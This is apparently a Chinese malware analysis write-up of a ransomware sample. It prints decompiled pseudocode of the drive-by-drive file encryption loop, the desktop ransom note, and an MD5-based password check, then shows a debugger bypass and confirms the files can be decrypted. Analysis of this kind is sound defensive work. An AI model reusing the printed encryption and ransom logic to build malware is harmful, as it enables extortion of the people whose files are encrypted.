12        if ( result != numberOfBytesToRead )
13            ++v1;
14        v2 = (int *)lpBuffer;
15        v3 = (unsigned int *)lpBuffer;
16        v4 = 0;
17        do
18        {
19            if ( v4 == 4 )
20                v4 = 0;
21            v5 = *v2++;
22            result = dword_406DB9[v4] ^ v5;
23            *v3++ = result;
24            ++v4;
25            --v1;
26        }
27        while ( v1 );
28    }
29    return result;
30 }

```

文件加密完之后，弹出勒索提示框，结束进程

```

v10 = 25; // 11001
while ( 1 )
{
    if ( (v9 & (1 << v10)) != 0 )
    {
        BYTE1(dword_40444F) = v10 + 'A';
        *(int *)((char *)&dword_40444F + 2) = '.*\\:.';
        byte_404455 = '*';
        byte_404456 = 0; // D:*. *
        v21 = v9;
        ((void (__cdecl *)(int))encrypt_file)(v10); // 加密文件
        v10 = v20;
        v9 = v21;
    }
    if ( v10-- < 1 ) // 文件加密完之后
    {
        ((void (__thiscall *)(int))sub_401000)(v10); // 弹出勒索提示框
        GlobalFree((HGLOBAL)lpBuffer);
        ExitProcess(0);
    }
}
}

int sub_401000()
{
    SHGetSpecialFolderPath(0, pszPath, 16, 1);
    sub_40103A(pszPath); // 写入勒索信息 C:\\Users\\xiao\\Desktop\\HOW TO DECRYPT FILES.txt
    if ( byte_40752B == 1 )
        MessageBox(0, lpText, 0, 0x10u); // 弹出勒索提示框
    return sub_4010FC(); // 函数调用失败
}

```

如果不是第一次运行。tmp目录下已经有HH3947QPp62mMBq.exe，执行以下流程

注册一个窗口类，在后续CreateWindowExA中使用，根据byte_40752D是否为1，执行不同的CreateWindowExA。循环调用GetMessageA函数，从调用线程的消息队列中检索消息，TranslateMessage函数将键盘消息转化,DispatchMessage函数将消息传给窗体函数去处理。

- 1.DispatchMessage: 通常消息从GetMessage函数获得或者TranslateMessage函数传递的。消息被分发到回调函数（过程函数）
- 2.Windows把发生的输入事件转换成输入消息放到消息队列中，而消息循环将它们发送到相应的窗口过程函数，真正的处理是在窗口过程函数中执行的

Winproc分析:

根据不同的操作，执行相应的处理

```

9  HWORD v10; // eax
10 HWORD v11; // eax
11 struct tagPAINTSTRUCT Paint; // [esp+0h] [ebp-44h] BYREF
12
13 switch ( Msg )
14 {
15     case 0x111u: // WM_COMMAND 当用户点击菜单、按钮、下拉列表框等控件时候，会触发WM_COMMAND
16     {
17         switch ( wParam ) // wParam 高两个字节 通知码; wParam 低两字节 命令ID
18         {
19             case 0x1F5u: // 5:IDIGNORE
20                 ExitProcess(0);
21             case 0x1F6u: // 6:IDYES
22                 if ( byte_40752D == 1 )
23                     MessageBoxA(hwnd, asc_4040F8, Caption, 0x40u); // 第一次运行
24                 else
25                     MessageBoxA(hwnd, aAttentionAllYo, WindowName, 0x40u); // Attention! All your files were encrypted!
26                 break;
27             case 0x1F4u: // 4:IDRETRY
28                 if ( !dword_407525 )
29                 {
30                     sub_40124F();
31                     sub_4021C0();
32                     sub_40214B();
33                     ExitProcess(0);
34                 }
35             }
36         }
37     }
38 }

```

Attention!

Password:


GetDlgItemTextA: pbData 接收标题或文本的缓冲区

对输入内容进行多次hash运算之后与password对比，输入正确密码解密文件，修改注册表，删除vir2

```
--dword_407525;
if ( GetDlgItemTextA(hWnd, 700, (LPSTR)&pbData, 257) )// 接受标题或文本的缓冲区
{
    v4 = strlenA((LPCSTR)&pbData);
    sub_401F15(&pbData, v4, &byte_406565, 0x10u); // hash计算
    sub_401F15(&byte_406565, 0x10u, &byte_406575, 0x10u);
    sub_401F15(&byte_406575, 0x10u, &byte_406565, 0x10u);
    sub_401F15(&byte_406565, 0x10u, &byte_406575, 0x10u);
    sub_401F15(&byte_406575, 0x10u, &byte_406565, 0x10u);
    v5 = 16;
    v6 = &byte_406565;
    v7 = (char*)&unk_406DC9; // password
    while ( 1 )
    {
        v8 = *v6++;
        v9 = *v7++;
        if ( v8 != v9 )
            break;
        if ( !--v5 )
        {
            // password正确 解密文件，修改回注册表，删除vir
            sub_401216();
            sub_4021C0();
            sub_402148();
            ExitProcess(0);
        }
    }
    if ( byte_40752D == 1 )
        MessageBoxA(hWnd, aE, asc_40408B, 0x10u);
    else
        MessageBoxA(hWnd, aPasswordIsInco, aError, 0x10u); // Password is incorrect!
}


1 int __stdcall sub_401F15(BYTE *pbData, DWORD dwDataLen, BYTE *a3, DWORD pdwDataLen)
2 {
3     int result; // eax
4     HCRYPTHASH pHash; // [esp+0h] [ebp-8h] BYREF
5     HCRYPTPROV pHProv; // [esp+4h] [ebp-4h] BYREF
6
7     result = CryptAcquireContextA(&pHProv, 0, 0, 1u, 0xF0000000);
8     if ( result > 0 )
9     {
10         result = CryptCreateHash(pHProv, 0x8003u, 0, 0, &pHash); // CALG_MD5 使用CryptCreateHash创建一个hash对象，使用MD5.
11         if ( result > 0 )
12         {
13             CryptHashData(pHash, pbData, dwDataLen, 0); // 用这个hash对象把一个指定的buffer计算一个MD5值。最终的hash值保存在hash对象里面pHash
14             CryptGetHashParam(pHash, 2u, a3, &pdwDataLen, 0);
15             CryptDestroyHash(pHash);
16             result = CryptReleaseContext(pHProv, 0);
17         }
18     }
19     return result;
20 }
```

下断，随便输入个密码，



修改cmp后的寄存器，

Attention!



```

int sub_401216()
{
    if ( byte_40752D == 1 )
        MessageBoxA(0, Text, Caption, 0x40u);
    else
        MessageBoxA(0, aEnteredPasswor, WindowName, 0x40u); // Entered password is correct. Press OK to start decrypting of file
    return sub_40124F(0);
}

```


4012f4解密文件: byte_406550赋值, 非0执行解密文件

```


; dword_406DB9[3] = v1;
; dword_406595 = v1;
; *(&dword_406595 + 1) = v1;
; *(&dword_406595 + 2) = v1;
; *(&dword_406595 + 3) = v1;
; }
; lstrcpyA(pszSpec, asc_404041);
; lstrcatA(pszSpec, asc_404032);
; lstrcatA(pszSpec, lpSubKey);
; if ( a1 == -1 )
;     byte_406550 = 2;
; else
;     byte_406550 = 1;
; SetLastError(10);
; v2 = GetLogicalDrives();
; v3 = 25;
; do
; {
;     if ( (v2 & (1 << v3)) != 0 )
;     {
;         BYTE1(dword_40444F) = v3 + 65;
;         *(int *)((char *)&dword_40444F + 2) = 774528058;
;         byte_404455 = 42;
;         byte_404456 = 0;
;         v7 = v2;
;         v6 = v3;
;         encrypt file();
;         v3 = v6;
;         v2 = v7;
;     }
; }
; while ( v3-- >= 1 );
; result = a1;
; if ( a1 )
; {
;     if ( a1 == -1 )
;     {
;         if ( byte_40752D == 1 )

```

在桌面放个加密过的文件, 经过测试, 成功解密。



之后删除病毒自身



vir2:

- 1) 被加密的文件格式都有哪些？
- 2) 被加密文件的数据配置信息中指定的文件加密大小是多大？
- 3) 样本是怎么实现运行被加密文件时弹出勒索提示框的？
- 4) 加密算法是什么？加密文件的密钥是怎么产生的？
- 5) 样本的勒索逻辑是否严密，被加密文件是否能够解密？解密思路？

1-4在上文都有答案

5.不严密。TEA算法可逆，密钥也是固定的，可以解密，通过调试就可以解密文件，或者自己实现TEA解密。